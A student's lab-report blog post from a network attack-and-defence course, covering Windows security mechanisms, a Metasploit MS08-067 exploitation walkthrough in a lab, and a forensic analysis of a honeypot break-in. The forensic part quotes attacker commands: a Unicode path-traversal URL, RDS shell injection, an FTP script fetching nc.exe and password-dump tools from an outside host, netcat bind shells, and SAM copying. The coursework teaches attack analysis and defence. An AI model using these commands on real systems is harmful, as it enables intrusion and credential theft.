20199117 2019-2020-2 《网络攻防实践》第七周作业

1.实践内容

1.1Windows操作系统基本框架概述

Windows操作系统的基本结构

  • Windows操作系统的基本结构分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。
  • Windows操作系统内核的基本模块包括:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
  • Windows操作系统在用户代码的代码模块包括:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
  • Windows操作系统内核实现的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。

1.2Windows操作系统的安全体系结构与机制

1.2.1Windows安全体系结构

  • Windows操作系统是基于引用监控器模型来实现基本的对象安全模型(图:引用监控器模型)

  • 最为核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。(图:Windows系统安全体系结构示意图)

1.2.2Windows身份认证机制

  • Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。

  • 原理:GINA提取用户的口令信息,由Winlogon移送给LSASS服务,利用LSASS提供的身份验证服务来进行用户身份的真实性确认,对通过验证的用户许可其登录系统并获得用户账户执行权限。网络身份认证过程由LSASS服务的Netlogon模块主导完成,Windows客户端访问远程的Windows网络服务器资源时,客户端服务的Netlogon模块会与服务器端的Netlogon进行基于“质询-应答式”的身份验证协议过程,以验证客户端的用户身份。(图:Windows身份认证机制实现原理)

1.2.3Windows授权与访问控制机制

  • Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。

  • whoami:查看当前用户的访问令牌信息

  • 对象安全描述符由如下属性组成:
    Owner SID:对象所有者的SID安全标识符
    Group SID:对象所在基本用户组的SID安全标识符
    DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象
    SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计

1.2.4Windows安全审计机制

  • LSASS服务将保存审计策略,并在对象启动审计功能后,在对象安全描述符中的SACL列表中进行保存;
  • SRM安全引用监控器在进行对象访问授权时,也将依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务;
  • 由LSASS服务补充审计记录细节信息后,再将这些审计记录发送给EventLog事件日志服务;
  • EventLog服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。

1.3Windows远程安全防控技术

  • Windows远程攻击技术分为:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户

  • 使用Metasploit软件实施渗透测试

  • 网络服务远程渗透攻击防范措施

    最基本的就是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞,具体包括:

    • 从软件设计开发根源上尽可能减少安全漏洞出现,对被发现的漏洞,尽快提供修补的安全补丁

    • 作为系统的使用者和管理者,尽可能快的更新与应用软件安全补丁。对第三方软件,尽可能选择具备自动版本更新功能的服务软件。

    • 在“零日”漏洞时间,管理员对安全敏感的服务器测试和实施可用的攻击缓解配置。

    • 利用服务软件厂商及社区中提供的安全核对清单来对服务进行安全配置,并利用一些安全增强插件,来加固所部署的网络服务。

    • 建立有效的事件应急响应计划

1.4Windows本地安全攻防技术

1.4.1Windows本地特权提升

  • Windows系统上进行提权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞
  • 针对本地提权攻击,最根本的防护措施是及时给系统打好各种补丁

1.4.2Windows敏感信息窃取

  • 在本地获取口令字密文的主要包括:
    • 从另一操作系统启动后拷贝文件系统中的口令密文文件,远程攻击无法实现。
    • 利用硬盘修复工具包中的rdisk工具,执行“rdisk /s-”命令创建SAM备份文件副本。
    • 使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
  • 本地敏感信息窃取防范措施:通过使用更安全的加密算法保护明文口令字,以及通过安全配置策略避免缓存关键服务器的敏感登录口令信息,来尽量减低这种攻击造成的安全风险。

1.4.3Windows消踪灭迹

  • 关闭审计功能、清理事件日志
  • 防范措施:事先配置好系统审计与网络服务审计功能;或通过网络传输到安全的日志服务器中,也可以采用定期备份的方式进行固化保全。

1.4.4Windows远程控制与后门程序

  • 自主植入第三方的远程控制与后门程序:命令行远程控制工具、图形化远程控制工具
  • 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件。

2.实践过程

2.1 实践一:Metasploit Windows Attack

​ 任务:使用Metasploit软件进行Windows远程渗透攻击实验。
​ 使用Windows Attacker/BT4攻击机尝试对Windows Metaploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。
实验步骤:(1)启动metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
​ (2)使用exploit:windows/smb/ms08_067_netapi渗透攻击模块;
​ (3)选择攻击PAYLOAD为远程shell(正向或反向连接均可);
​ (4)设置渗透攻击参数(RHOST,LHOST,TARGET等);
​ (5)执行渗透攻击;
​ (6)查看是否正确得到远程Shell,并查看获得的权限。

IP地址
Kali 192.168.200.3
Win2kServer 192.168.200.8
  • 首先确认kali与Win2kServer能够互相ping通

  • 在kali中执行msfconsole,启动metasploit软件
  • 输入search ms08_067,查找ms08_067模块,找到针对ms08_067漏洞的渗透攻击模块为exploit/windows/smb/ms08_067_netapi

  • 输入use exploit/windows/smb/ms08_067_netapi,选择针对ms08_067漏洞的渗透攻击模块,进入使用
  • 输入show payload,列举所有适用的负载模块,选择shell_reverse_tcp

  • 输入show targets,列举被攻击的靶机的操作系统型号

  • 输入set payload generic/shell_reverse_tcp,选择该渗透攻击模块适用的攻击负载模块

  • 输入show options,显示出需要设置的数据

  • 输入set LHOST kali的IP地址set RHOST win2k的IP地址,配置该渗透攻击模块和攻击负载模块的IP地址

  • 输入show options,再次查看payload状态

  • 输入exploit实施渗透攻击

  • 渗透攻击成功后,进入win靶机cmd页面,输入ipconfig查看靶机ip,表示攻击成功。

2.2取证分析实践:解码一次成功的NT系统破解攻击

​ 来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名lab.wiretrip.net),这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机。
(1)攻击者使用了什么破解工具进行攻击?

  • 用Wireshark打开snort-0204@0117.log文件,发现日志文件由可识别的HTTP协议内容、可识别的SQL语言代码内容、可识别的系统操作代码内容、不可识别的数据(二进制数据)组成

  • 由攻击机IP地址为213.116.251.162,靶机IP地址为172.16.1.106,输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106进行筛选,在第117行出现GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1\r\n,其中%C0%AF是“/”的Unicode编码,表示进行Unicode攻击打开了NT系统的启动文件boot.ini

  • 在130行和140行,攻击者探测msadc/msadcs.dll存在RDS漏洞,149行表示进行SQL注入攻击,执行shell脚本数据为shell ( “cmd /c echo werd >> c : \ f u n ” ),根据ADM!ROX!YOUR!WORLD特征字符串,表明是msadc(2).pl工具发起的渗透攻击

  • 综上:攻击者利用了Unicode和msadcs(2).pl工具进行攻击。

(2)攻击者如何使用这个破解工具进入并控制了系统?

  • 在Wireshark中输入ip.src == 213.116.251.162 && ip.dst == 172.16.1.106 && http.request.method == "POST"进行过滤,得到SQL语言代码,简化处理后得到shell脚本代码
shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
shell ( “cmd /c echo get samdump .dll >> ftpcom” ) ;
shell ( “cmd /c echo get pdump .exe >> ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) |;
shell ( “cmd /c echo quit>>ftpcom” );
shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” ) 

  • 根据上述命令,表示创建ftpcom脚本文件,并使用ftp连接www.nether.net,用户名为johna2k,密码为hacker2000,尝试下载samdump.dll,pdump.exe,nc.exe,没有成功。

  • 在Wireshark中输入ftp进行筛选,发现1106行ftp连接成功

  • 查找ftp连接成功以前的指令,得到如下指令:
copy C:\winnt\system32\cmd.exe cmd1.exe
c echo open 213.116.251.162 >ftpcom
c echo johna2k >>ftpcom
c echo haxedj00 >>ftpcom
c echo get nc.exe >>ftpcom
c echo get pdump.exe >>ftpcom
c echo get samdump.dll >>ftpcom
c echo quit >>ftpcom

  • ftp连接结束后,执行c nc -l -p 6969 -e cmd1.exe,表示攻击者连接6969端口,获得访问权,进入交互式控制阶段。

(3)攻击者获得系统访问权限后做了什么?

  • 在Wireshark中输入tcp.port == 6969进行筛选 ,追踪tcp流。要从注册表中提取密文,但没有成功。运行net session,访问受限,执行net users,返回主机用户列表。

  • heh.tex信息删除后,发了echo消息到C盘README.NOW.Hax0r

  • 通过net group,net localgroup分别查看组用户、本地组用户,并查看net group domain admins,但都没有成功

  • 确认IWAM/IUSR加入管理员组

  • 寻找并进入msadc目录,执行pdump,并没有破解出口令密文

  • 删除samdump.dll和pdump.exe文件,放弃使用pdump破解口令密文

  • 执行rdisk尝试获得SAM口令文件的拷贝,将SAM文件保存为c:\har.txt文件

  • 接着往下查看,发现又进行了Unicode攻击,执行nc -l -p 6968 -e cmd1.exe

  • 最后删除了所有的ftpcom脚本文件

(4)我们如何防止这样的攻击?

  • 为这些漏洞打补丁
  • 禁用用不到的RDS等服务
  • 防火墙封禁网络内部服务器发起的连接
  • 为web server在单独的文件卷上设置虚拟根目录
  • 使用NTFS文件系统,因为FAT几乎不提供安全功能
  • 使用IIS Lackdown和URLScan等工具加强web server
    (5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
  • 攻击者警觉到了目标是一台蜜罐主机

2.3团队对抗实践:Windows系统远程渗透攻击与分析

攻击对抗实践内容:攻击方Metasploit Windows Attack,防御方:wireshark捕获攻击流,分析出攻击哪个安全漏洞,从官方网站上下载该安全漏洞补丁进行修补,给出攻击过程报告。
​ 攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权。
​ 防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

  • 攻击过程与实践一相同,exploit后进入wireshark进行监听,可以得到攻击机IP地址为192.168.200.3及靶机的IP地址192.168.200.8

  • 输入ipconfig后,通过wireshark嗅探,可以得到靶机地址为192.168.200.8

  • 源端口为4444,目标端口为1041

3.学习中遇到的问题及解决

  • 问题:使用wireshark时总是未响应
  • 解决:上网查询卸载有道词典后解决
  • 问题:实践二不是很理解
  • 解决:查看云班课文件和同学们的博客

4.学习感想和体会

除了对实践二理解还不是很透彻之外还算一次顺畅的作业呢!!!

posted @ 2020-04-14 19:33  曲耘涵20199117  阅读(334)  评论(0编辑  收藏  举报